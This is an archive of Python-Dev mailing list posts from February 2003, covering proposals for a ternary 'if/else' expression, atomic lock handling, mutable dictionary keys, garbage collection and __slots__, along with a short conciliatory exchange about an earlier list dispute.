<20030206043551.55262.qmail@web10305.mail.yahoo.com> <3E423D86.1040600@lemburg.com> Message-ID: <15938.33225.303269.70915@montanaro.dyndns.org> mal> Could someone please unsubscribe this guy ? Otherwise, I'll have to mal> teach spambayes to do it for me ;-) I'm interested to see Brett's next python-dev summary. Will Graham make the jump to c.l.py? If so, in what form? ;-) Skip From ark@research.att.com Thu Feb 6 16:48:01 2003 From: ark@research.att.com (Andrew Koenig) Date: 06 Feb 2003 11:48:01 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: <20030206140647.GA1498@cthulhu.gerg.ca> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> Message-ID: Greg> I won't claim to channel Guido, but C's ?: operator is ugly, Greg> obscure, and weird. Just because it has been copied by Java and Greg> Perl does not mean it is a good thing. The fact that Python Greg> does not ape C is a *feature*. Notwithstanding which, I occasionally wish that Python had an if-then-else operator. I personally like the way Algol 68 does it, although I acknowledge that Python couldn't really do it the same way because Algol 68 does not distinguish between statements and expressions. Algol 68 always uses closing-delimiter keywords to go with the corresponding opening-delimiter keywords, so an if-expression looks like this: if ... then ... fi if ... then ... else ... fi if ... then ... elif ... then ... fi if ... then ... elif ... then ... else ... fi and so on (I think it's spelled "elif", but it might be "elsf" -- it's been a long time since I studied Algol 68). What I find particularly nice is that Algol 68 allows "if" to be abbreviated as "(", "fi" as ")", "then" or "else" as "|", and "elif" as "|:". So where a C programmer would write x = (y>z? y: z); an Algol 68 programmer would write x := if y>z then y else z fi; or, equivalently x := (y>z | y | z); Of course, using | this way works only because Algol 68 uses different symbols for "and" and "or". -- Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark From guido@python.org Thu Feb 6 17:02:06 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 12:02:06 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: Your message of "06 Feb 2003 11:48:01 EST." References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> Message-ID: <200302061702.h16H26723375@odiug.zope.com> > Notwithstanding which, I occasionally wish that Python had an > if-then-else operator. Me too, on odd-numbered days. (On even-numbered days I think the addition to the learning curve isn't worth the savings in typing.) > I personally like the way Algol 68 does it, although I acknowledge > that Python couldn't really do it the same way because Algol 68 > does not distinguish between statements and expressions. > > Algol 68 always uses closing-delimiter keywords to go with the > corresponding opening-delimiter keywords, so an if-expression > looks like this: > > if ... then ... fi > if ... then ... else ... fi > if ... then ... elif ... then ... fi > if ... then ... elif ... then ... else ... fi > > and so on (I think it's spelled "elif", but it might be "elsf" -- > it's been a long time since I studied Algol 68). It's elif. > What I find particularly nice is that Algol 68 allows "if" to be > abbreviated as "(", "fi" as ")", "then" or "else" as "|", and > "elif" as "|:". > > So where a C programmer would write > > x = (y>z? y: z); > > an Algol 68 programmer would write > > x := if y>z then y else z fi; > > or, equivalently > > x := (y>z | y | z); > > Of course, using | this way works only because Algol 68 uses > different symbols for "and" and "or". I think I've seen the suggestion x = (y if y>z else z) :-) --Guido van Rossum (home page: http://www.python.org/~guido/) From jeremy@zope.com Thu Feb 6 17:05:29 2003 From: jeremy@zope.com (Jeremy Hylton) Date: Thu, 6 Feb 2003 12:05:29 -0500 Subject: Atomic operations (was Re: [Python-Dev] Why did Fredrik leave the party?) In-Reply-To: <15938.27939.731673.576239@gargle.gargle.HOWL> References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com> <20030205184351.GA17468@thyrsus.com> <15938.27939.731673.576239@gargle.gargle.HOWL> Message-ID: <15938.38361.935496.115469@slothrop.zope.com> >>>>> "BAW" == Barry A Warsaw writes: BAW> Except that it's not, because of the lack of atomic BAW> acquire-and-enter-try. BAW> You could probably code this specific example like so: BAW> try: BAW> lock.acquire() dosomething() BAW> finally: BAW> try: BAW> lock.release() BAW> except NotLocked: BAW> pass BAW> but you still have the problem of ironclad resource release in BAW> other situations, such as the cursor opening scenario (I think) BAW> I posted before. BAW> Brett (I think) suggested that there may be alternatives to a BAW> syntactic approach, e.g. one that prohibits thread switching BAW> between the resource acquisition and the entering of the try. BAW> That might be interesting to explore, but I worry about BAW> deadlock possibilities. There was a good paper on this subject at LL2. You can find it here: http://www.cs.williams.edu/~freund/papers.html Jeremy From mailing-lists@digitaleric.net Thu Feb 6 17:09:55 2003 From: mailing-lists@digitaleric.net (Eric) Date: Thu, 06 Feb 2003 12:09:55 -0500 Subject: [Python-Dev] Re: Pre-PEP: Mutable keys in dictionaries References: Message-ID: Just van Rossum wrote: [snip] > > The __temporary_immutable__ part of the protocol is needed to avoid > unneccesary copying in those cases where the key isn't actually inserted > into the dict, but is only used for membership testing. It would return > a wrapper around the mutable object, defining __eq__ and __hash__. (This > idea is stolen from the sets.py module.) If an implementer doesn't care > about this efficiency, __temporary_immutable__ can be an alias to > __immutable_copy__. Can __temporary_immutable__ work on a multi-threaded system? What is to prevent the (known to be mutable) key from changing underneath you during the lookup? Perhaps I am misunderstanding, but it seems to me that you must either copy the mutable key or be able to block all writers to the key during the lookup. Other than that, I very much like the idea of using mutable keys :) -Eric From barry@python.org Thu Feb 6 17:34:19 2003 From: barry@python.org (Barry A. Warsaw) Date: Thu, 6 Feb 2003 12:34:19 -0500 Subject: [Python-Dev] Re: Atomic operations References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com> <20030205184351.GA17468@thyrsus.com> <15938.27939.731673.576239@gargle.gargle.HOWL> <15938.38361.935496.115469@slothrop.zope.com> Message-ID: <15938.40091.534416.426167@gargle.gargle.HOWL> >>>>> "JH" == Jeremy Hylton writes: JH> There was a good paper on this subject at LL2. You can find JH> it here: http://www.cs.williams.edu/~freund/papers.html Search for "Safe Asynchronous Exceptions For Python". Nice paper. I don't much like the nested block:/unblock: construction (too much indentation), but the initially: part is nice. -Barry From ark@research.att.com Thu Feb 6 17:07:31 2003 From: ark@research.att.com (Andrew Koenig) Date: Thu, 6 Feb 2003 12:07:31 -0500 (EST) Subject: [Python-Dev] Trinary Operators In-Reply-To: <200302061702.h16H26723375@odiug.zope.com> (message from Guido van Rossum on Thu, 06 Feb 2003 12:02:06 -0500) References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> Message-ID: <200302061707.h16H7Vm02222@europa.research.att.com> Guido> I think I've seen the suggestion Guido> x = (y if y>z else z) Guido> :-) That's not bad, even though it looks Perlish :-) It has the advantage of looking like a list comprehension. I presume the parentheses would be mandatory. From guido@python.org Thu Feb 6 18:08:44 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 13:08:44 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: Your message of "Thu, 06 Feb 2003 12:07:31 EST." <200302061707.h16H7Vm02222@europa.research.att.com> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> Message-ID: <200302061808.h16I8jM26135@odiug.zope.com> > Guido> I think I've seen the suggestion > > Guido> x = (y if y>z else z) > > Guido> :-) > > That's not bad, even though it looks Perlish :-) > > It has the advantage of looking like a list comprehension. > > I presume the parentheses would be mandatory. Maybe I should write a PEP and let the folks in c.l.py vote on it, just for fun. (I expect to get about as many yes votes as no votes. :-) --Guido van Rossum (home page: http://www.python.org/~guido/) From tismer@tismer.com Thu Feb 6 18:24:38 2003 From: tismer@tismer.com (Christian Tismer) Date: Thu, 06 Feb 2003 19:24:38 +0100 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: <3E423D86.1040600@lemburg.com> References: <20030206043551.55262.qmail@web10305.mail.yahoo.com> <3E423D86.1040600@lemburg.com> Message-ID: <3E42A866.7000509@tismer.com> M.-A. Lemburg wrote: > Could someone please unsubscribe this guy ? Otherwise, I'll have > to teach spambayes to do it for me ;-) That spambayes idea was exactly what I'd propose, if eveyone lese agrees. -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From just@letterror.com Thu Feb 6 18:25:56 2003 From: just@letterror.com (Just van Rossum) Date: Thu, 6 Feb 2003 19:25:56 +0100 Subject: [Python-Dev] Re: Pre-PEP: Mutable keys in dictionaries In-Reply-To: Message-ID: Eric wrote: > Just van Rossum wrote: > > [snip] > > > > The __temporary_immutable__ part of the protocol is needed to avoid > > unneccesary copying in those cases where the key isn't actually > > inserted into the dict, but is only used for membership testing. It > > would return a wrapper around the mutable object, defining __eq__ > > and __hash__. (This idea is stolen from the sets.py module.) If an > > implementer doesn't care about this efficiency, > > __temporary_immutable__ can be an alias to __immutable_copy__. > > Can __temporary_immutable__ work on a multi-threaded system? What is > to prevent the (known to be mutable) key from changing underneath you > during the lookup? Perhaps I am misunderstanding, but it seems to me > that you must either copy the mutable key or be able to block all > writers to the key during the lookup. Provided the underlying mutable object is a Python object, there is no chance that the object can change during the operation, due to the wonders of the Global Interpreter Lock. When integrated with dictobject.c it is guaranteed that the operation is atomic. I'll make sure this gets added to the PEP. > Other than that, I very much like the idea of using mutable keys :) In certain circumstances, yes, however I would by no means propose that Python dicts and lists should support this protocol themselves, ie. it should remain impossible to use dicts and lists as keys. A) because it would cause confusion, B) because it would be hard to implement with respect to nested objects (eg. what about a tuple containing a dict?). Just From esr@thyrsus.com Thu Feb 6 18:18:44 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Thu, 6 Feb 2003 13:18:44 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: <200302061808.h16I8jM26135@odiug.zope.com> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> Message-ID: <20030206181844.GA22912@thyrsus.com> Guido van Rossum : > Maybe I should write a PEP and let the folks in c.l.py vote on it, > just for fun. (I expect to get about as many yes votes as no votes. :-) What was I muttering the other day about Python becoming a more expression-oriented language? :-) -- Eric S. Raymond From ark@research.att.com Thu Feb 6 18:27:35 2003 From: ark@research.att.com (Andrew Koenig) Date: Thu, 6 Feb 2003 13:27:35 -0500 (EST) Subject: [Python-Dev] Trinary Operators In-Reply-To: <200302061808.h16I8jM26135@odiug.zope.com> (message from Guido van Rossum on Thu, 06 Feb 2003 13:08:44 -0500) References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> Message-ID: <200302061827.h16IRZJ23109@europa.research.att.com> Guido> Maybe I should write a PEP and let the folks in c.l.py vote on it, Guido> just for fun. (I expect to get about as many yes votes as no votes. :-) You might consider correlating votes with people who like lambda, because that's where I think the feature is really useful. Which implies, by the way, that parentheses shouldn't be mandatory in the following context: (lambda x, y, z: y if x else z) Or, for that matter, in (lambda x, y, z: f(x, y if x else z)) From guido@python.org Thu Feb 6 18:35:50 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 13:35:50 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: Your message of "Thu, 06 Feb 2003 13:27:35 EST." <200302061827.h16IRZJ23109@europa.research.att.com> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <200302061827.h16IRZJ23109@europa.research.att.com> Message-ID: <200302061835.h16IZoe27507@odiug.zope.com> > You might consider correlating votes with people who like lambda, > because that's where I think the feature is really useful. Good point. > Which implies, by the way, that parentheses shouldn't be mandatory > in the following context: > > (lambda x, y, z: y if x else z) > > Or, for that matter, in > > (lambda x, y, z: f(x, y if x else z)) But does x, y if p else z mean x, (y if p else z) or (x, y) if p else z ??? --Guido van Rossum (home page: http://www.python.org/~guido/) From esr@thyrsus.com Thu Feb 6 18:33:45 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Thu, 6 Feb 2003 13:33:45 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: <200302061835.h16IZoe27507@odiug.zope.com> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <200302061827.h16IRZJ23109@europa.research.att.com> <200302061835.h16IZoe27507@odiug.zope.com> Message-ID: <20030206183345.GC22912@thyrsus.com> Guido van Rossum : > > You might consider correlating votes with people who like lambda, > > because that's where I think the feature is really useful. > > Good point. As a confirmed lambda fan and somebody who wants the trinary op badly enough that I *implemented* it once, I strongly concur. This wouldn't completely repair the weakness of lambdas, but it would be substantial help. Should I dust off that patch and write a PEP? -- Eric S. Raymond From tismer@tismer.com Thu Feb 6 18:47:41 2003 From: tismer@tismer.com (Christian Tismer) Date: Thu, 06 Feb 2003 19:47:41 +0100 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: References: Message-ID: <3E42ADCD.8010605@tismer.com> Tim Peters wrote: > [Christian Tismer] > >>It might be not so hard to make trashcan able >>to register new types at run-time. > > > They don't have to do anything extra now -- registering with gc is > sufficient in current CVS. Do you remember who wrote Trashcan? :-) Oh, I see, you want to point out that I would cause other changes to be done. I wasn't aware that trashcan is used in other places but those I implemented, yet. > It's also a fine fit: if they're fat containers > for which the trashcan is appropriate, they can also be involved in cycles. Indeed it is a fine fit. After some thought, I begin to believe that they fit so well, that they could become *one* option (and trashcan is unchanged): - Either you want GC, then you also get trashcan. - Or you dont want it. Trashcan disappears, too. My reasoning is simple: If people think they can resolve their cycles by hand, then they most probably also can take care of not creating deeply nested structures to be killed. And if I hadn't written trashcan, I doubt it would exist today, at all. :-) As a side remark, since you asked me about the relevance of Stackless: I just realized that with Stackless 2.0, the need for trashcan is completely gone, and I will disable the trashcan macros for a stackless build of Python in my trunk. Thanks for helping me to think clearly. > Note too that people can get back more memory than gc consumes by declaring > new-style classes to use __slots__. That's a new memory-optimization > gimmick, and an effective one. Very true. The flipside is, that in memory-critical applications people tend to avoid myriads of tiny container objects and already use tuples, instead. But these are now more expensive, and they're biten. I think one way to overcome this problem is to allow new-style classes to specify whether they want to be GC-ed or not. We (I) could implement a new __use_gc__ flag or something to give users an option. Alternatively, to GC or not GC could be driven by inheritance. I used that in my flextype implementation. When a class inherits from no GC-ed anchestors only, it doesn't install GC as well. Anyway, with something like that it should be possible to build tiny container objects of fixed size (again saving a word) which are even smaller than un-GC-ed tuples. As a last remark (although this is too long already), I'd also like to extend the __slots__ syntax by the ability to express "embedded types", like the types supported by array. This again saves a lot of memory when you know your attribute is always some simple type, which need not become an object. cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From guido@python.org Thu Feb 6 18:58:51 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 13:58:51 -0500 Subject: [Python-Dev] Re: Pre-PEP: Mutable keys in dictionaries In-Reply-To: Your message of "Thu, 06 Feb 2003 12:09:55 EST." References: Message-ID: <200302061858.h16IwpO28826@odiug.zope.com> > Can __temporary_immutable__ work on a multi-threaded system? What is to > prevent the (known to be mutable) key from changing underneath you during > the lookup? Perhaps I am misunderstanding, but it seems to me that you > must either copy the mutable key or be able to block all writers to the key > during the lookup. The sets module has this problem now. Our approach to this is to document that sets are not thread-safe. --Guido van Rossum (home page: http://www.python.org/~guido/) From graham_guttocks@yahoo.co.nz Thu Feb 6 19:02:30 2003 From: graham_guttocks@yahoo.co.nz (=?iso-8859-1?q?Graham=20Guttocks?=) Date: Fri, 7 Feb 2003 08:02:30 +1300 (NZDT) Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: Message-ID: <20030206190230.58640.qmail@web10302.mail.yahoo.com> Mark McEahern wrote: > > Perhaps you can demonstrate your character by taking the initiative and > resolving this situation amicably? I don't know what to tell you. I made a mistake with how I phrased my original question, and the situation was made worse by people on this list making many unfounded assumptions. I was never allowed to recover. I think my post raised some interesting discussion, but it also created lots of animosity, which I apologize for. However, except for Tim and Barry, I think the Python developers who filled my mailbox with petty personal insults should be ashamed of themselves and how they chose to represent their project. Frankly, this whole ordeal has left me feeling nauseous, and I'd really like to see this cycle of hate just die now. ===== Regards, Graham http://greetings.yahoo.com.au - Yahoo! Greetings - Send some online love this Valentine's Day. From guido@python.org Thu Feb 6 19:03:21 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 14:03:21 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: Your message of "Thu, 06 Feb 2003 13:33:45 EST." <20030206183345.GC22912@thyrsus.com> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <200302061827.h16IRZJ23109@europa.research.att.com> <200302061835.h16IZoe27507@odiug.zope.com> <20030206183345.GC22912@thyrsus.com> Message-ID: <200302061903.h16J3LO29085@odiug.zope.com> > As a confirmed lambda fan and somebody who wants the trinary op > badly enough that I *implemented* it once, I strongly concur. > This wouldn't completely repair the weakness of lambdas, but > it would be substantial help. > > Should I dust off that patch and write a PEP? I don't recall what syntax your patch implemented. If you want to write or co-author the PEP for (x if C else y), be my guest! (You probably have more time than I do at this point.) --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Thu Feb 6 19:09:18 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 14:09:18 -0500 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: Your message of "Thu, 06 Feb 2003 19:47:41 +0100." <3E42ADCD.8010605@tismer.com> References: <3E42ADCD.8010605@tismer.com> Message-ID: <200302061909.h16J9II29413@odiug.zope.com> > - Either you want GC, then you also get trashcan. > - Or you dont want it. Trashcan disappears, too. That's a great idea! Why didn't I think of it. :-) > My reasoning is simple: If people think they can > resolve their cycles by hand, then they most > probably also can take care of not creating deeply > nested structures to be killed. [...] > Alternatively, to GC or not GC could be driven by > inheritance. I used that in my flextype implementation. > When a class inherits from no GC-ed anchestors only, > it doesn't install GC as well. That's a fine idea. It would require that there were two standard base classes: object and gcobject. Or better, object and nogcobject; I think that GC should still be the default for classes that have any instance variables at all. > As a last remark (although this is too long already), > I'd also like to extend the __slots__ syntax by the > ability to express "embedded types", like the types > supported by array. This again saves a lot of memory > when you know your attribute is always some simple type, > which need not become an object. Can you suggest a concrete syntax to do this? Maybe setting __slots__ to a dictionary mapping names to type specifiers would do it -- and it would even be backwards compatible: currently, if __slots__ is a dict, its keys are used as slot names and its values are ignored, by virtue of the way the type constructor iterates over __slots__. --Guido van Rossum (home page: http://www.python.org/~guido/) From marklists@mceahern.com Thu Feb 6 19:12:56 2003 From: marklists@mceahern.com (Mark McEahern) Date: Thu, 6 Feb 2003 13:12:56 -0600 Subject: [Python-Dev] Re: How to lose potential users/developers In-Reply-To: <20030206190230.58640.qmail@web10302.mail.yahoo.com> Message-ID: [Graham Guttocks] > I don't know what to tell you. I made a mistake with how I phrased > my original question, and the situation was made worse by people on > this list making many unfounded assumptions. I was never allowed to > recover. > > I think my post raised some interesting discussion, but it also created > lots of animosity, which I apologize for. However, except for Tim and > Barry, I think the Python developers who filled my mailbox with petty > personal insults should be ashamed of themselves and how they chose to > represent their project. > > Frankly, this whole ordeal has left me feeling nauseous, and I'd really > like to see this cycle of hate just die now. Graham, I hope you're not soured on Python. It takes character to admit to one's mistakes--as you've done here. Python is truly a beautiful language, IMHO. It's a gift that keeps on giving. And the Python community, for the very most part, is quite friendly. Everyone has their buttons, though, eh? I hope that you find a way to try again. Python-Dev is a lot more serious than comp.lang.python. Understandably. It's not surprising that you didn't know what the atmosphere was like there before you posted. (Heck, I don't even know what it's **really** like; as I said, I mostly lurk.) I'm not excusing or defending anyone. (That's not really my place.) All I hope is that you bring the best of yourself to the community, should you choose to stay. If you do that, we'll all be enriched. Join us over on c.l.py. I think you'll find it a welcoming place. Even if you had read the FAQs (I don't know whether you did or not; and I don't particularly care), you might not have expected the treatment you got. However, some of that nuance you only get by observing the list, observing someone cross whatever invisible lines in the sand there are. Well, anyway, have a good day. Best, // mark - From ark@research.att.com Thu Feb 6 19:14:14 2003 From: ark@research.att.com (Andrew Koenig) Date: Thu, 6 Feb 2003 14:14:14 -0500 (EST) Subject: [Python-Dev] Trinary Operators In-Reply-To: <200302061835.h16IZoe27507@odiug.zope.com> (message from Guido van Rossum on Thu, 06 Feb 2003 13:35:50 -0500) References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <200302061827.h16IRZJ23109@europa.research.att.com> <200302061835.h16IZoe27507@odiug.zope.com> Message-ID: <200302061914.h16JEEr23775@europa.research.att.com> >> Which implies, by the way, that parentheses shouldn't be mandatory >> in the following context: >> >> (lambda x, y, z: y if x else z) >> >> Or, for that matter, in >> >> (lambda x, y, z: f(x, y if x else z)) Guido> But does Guido> x, y if p else z Guido> mean Guido> x, (y if p else z) Guido> or Guido> (x, y) if p else z Guido> ??? It should be consistent with the rest of the language. What I'm thinking is that there are some contexts in which precedence is irrelevant, because the context is bounded unambiguously on each side. For example, in f( ) there's no difficulty in figuring out that the ends just before the ) that matches the (. Similarly, in f( , ) there is still no difficulty because the ( , ) delimiters belong together. There's a slightly differnt rule for lamba, because it depends on knowing unambiguously where the surrounding context ends. Example: y = lambda x: x+1 There must be some kind of precedence rule to determine where the lambda-expression ends, lest it be interpreted as y = (lambda x: x) + 1 So I see if/else as acting like lambda: If you enclose it in parentheses, there's no ambiguity; if not, then it relies on knowing something about the surrounding context. Whatever the rules are for figuring out the context should apply to if/else also. Incidentally, that doesn't rule out making some questionable cases ambiguous. I note, for example, that [i, i for i in range(10)] doesn't compile, even though I can see only one plausible way of parsing it (namely as [(i, i) for i in range(10)] ), but on the other hand, [lambda x: i for i in range(10)] compiles just fine (and yields a list of functions) From esr@thyrsus.com Thu Feb 6 19:12:04 2003 From: esr@thyrsus.com (Eric S. Raymond) Date: Thu, 6 Feb 2003 14:12:04 -0500 Subject: [Python-Dev] Trinary Operators In-Reply-To: <200302061903.h16J3LO29085@odiug.zope.com> References: <20030206043026.GA29482@homer.gst.com> <20030206140647.GA1498@cthulhu.gerg.ca> <200302061702.h16H26723375@odiug.zope.com> <200302061707.h16H7Vm02222@europa.research.att.com> <200302061808.h16I8jM26135@odiug.zope.com> <200302061827.h16IRZJ23109@europa.research.att.com> <200302061835.h16IZoe27507@odiug.zope.com> <20030206183345.GC22912@thyrsus.com> <200302061903.h16J3LO29085@odiug.zope.com> Message-ID: <20030206191204.GF22912@thyrsus.com> Guido van Rossum : > > Should I dust off that patch and write a PEP? > > I don't recall what syntax your patch implemented. I implemented a ? b : c, which you rejected for good reasons. My choice today would be C ? x ! y, but x if C else y has some attractions. > If you want to write or co-author the PEP for (x if C else y), be my > guest! (You probably have more time than I do at this point.) I'll put it on my to-do list. Immediate action is unlikely as I have a road trip coming up. -- Eric S. Raymond From guido@python.org Thu Feb 6 18:57:33 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 06 Feb 2003 13:57:33 -0500 Subject: [Python-Dev] Pre-PEP: Mutable keys in dictionaries In-Reply-To: Your message of "Thu, 06 Feb 2003 00:54:26 +0100." References: Message-ID: <200302061857.h16IvXu28747@odiug.zope.com> > Here's a quick pre-PEP. > > > Allow mutable objects as dictionary keys in certain cases by adding a > new protocol. dict.__setitem__() and __contains__() would work like this > bit of pseudo code: > > def __setitem__(self, key, value): > if not hashable(key): > if hasattr(key, "__immutable_copy__"): > key = key.__immutable_copy__() > else: > raise TypeError, "unhashable key" > ...insert value with key into dict... > > def __contains__(self, key): > if not hashable(key): > if hasattr(key, "__temporary_immutable__"): > key = key.__temporary_immutable__() > else: > raise TypeError, "unhashable key" > ...test for key membership... > > (other methods would be similar) > > When implemented in C in dictobject.c, this would add no overhead for > the "normal" case (when keys _are_ directly hashable). I have a small doubt about this claim. Inserting code into PyDict_SetItem(), even if it is normally never executed, may reduce code locality and hence cause the code to miss the cache more often than before. This *may* be addressed by rearranging the code, but there's a limit to that. I have a countersuggestion. Could you do this as a subclass of dict? A subclass in Python would be inefficient, but might still be good enough for your second use case (the ObjC bridge). If not, a subclass in Python might be feasible -- it would be a little bit more work than integrating it into dictobject.c, but you have a lot less convincing to do, and you can even get it to work with Python 2.2. > The __temporary_immutable__ part of the protocol is needed to avoid > unneccesary copying in those cases where the key isn't actually inserted > into the dict, but is only used for membership testing. It would return > a wrapper around the mutable object, defining __eq__ and __hash__. (This > idea is stolen from the sets.py module.) If an implementer doesn't care > about this efficiency, __temporary_immutable__ can be an alias to > __immutable_copy__. > > > Use Cases: > > - sets.py could be written more efficiently and/or could be more easily > be rewritten in C. > > - Again, the troubles of bridging Python to Objective-C have triggered > this idea. Due to the nature of Objective-C in general, and Cocoa in > particular, we can never be sure beforehand whether a string is > mutable or not. We can detect mutability at runtime, but depending on > this is dangerous as it exposes an implementation detail that may > change between releases of _any_ API that returns strings. Therefore > code that works in one setup may break in another, or even in the the > same setup after an arbitrary library upgrade, simply because an API > suddenly returns a mutable string where it didn't before. Yes this > sucks, but it's the way it is. this situation in detail> > > > Backwards compatibilty: > > 100%. > > Overhead added > > None > > > Implementation > > There's quite a bit of code duplication in those areas of dictobject.c > that matter for this proposal, so implementing it will take longer than > the 10 minutes I originally estimated . Perhaps this is a good > opportunity to refactor these bits into inline functions? Not being a C > guru I can't judge whether this is possible or desirable with the set of > compilers that Python must be built with. You can't rely on inline. OTOH, GCC -O3 often inlines static functions without needing a hint. --Guido van Rossum (home page: http://www.python.org/~guido/) From theller@python.net Thu Feb 6 19:25:52 2003 From: theller@python.net (Thomas Heller) Date: 06 Feb 2003 20:25:52 +0100 Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: <200302061909.h16J9II29413@odiug.zope.com> References: <3E42ADCD.8010605@tismer.com> <200302061909.h16J9II29413@odiug.zope.com> Message-ID: Guido van Rossum writes: > > As a last remark (although this is too long already), > > I'd also like to extend the __slots__ syntax by the > > ability to express "embedded types", like the types > > supported by array. This again saves a lot of memory > > when you know your attribute is always some simple type, > > which need not become an object. > > Can you suggest a concrete syntax to do this? Maybe setting __slots__ > to a dictionary mapping names to type specifiers would do it -- and it > would even be backwards compatible: currently, if __slots__ is a dict, > its keys are used as slot names and its values are ignored, by virtue > of the way the type constructor iterates over __slots__. May I suggest to use an ordered sequence (of pairs) instead of a dict for __slots__. Then you also can completely control the layout that C code sees and construct C compatible structures or other data types from pure Python code. Here's how ctypes does it: It's named _fields_ instead of __slots__, and typically you write something like this class Point(Structure): _fields_ = [("x", "i"), ("y", "i")] which defines a Python objects having x and y instance vars, which must be integers. ctypes extends this so that instead of the (struct module compatible) format specified "i", also Python objects are allowed which describe a C data type. Thomas From jacobs@penguin.theopalgroup.com Thu Feb 6 19:31:29 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Thu, 6 Feb 2003 14:31:29 -0500 (EST) Subject: [Python-Dev] Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail In-Reply-To: <200302061909.h16J9II29413@odiug.zope.com> Message-ID: On Thu, 6 Feb 2003, Guido van Rossum wrote: > Can you suggest a concrete syntax to do this? Maybe setting __slots__ > to a dictionary mapping names to type specifiers would do it -- and it > would even be backwards compatible: currently, if __slots__ is a dict, > its keys are used as slot names and its values are ignored, by virtue > of the way the type constructor iterates over __slots__. I already use __slots__ assigned to dictionaries where the values are not ignored. They are interpreted by a metaclass to apply type conversion operators and type/value enforcement predicates to slots. I hope that future versions of Python will not tread on this feature. (Though I'd happily trade in this feature in exchange for having __slots__ be immutable) Meta-regards, -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From 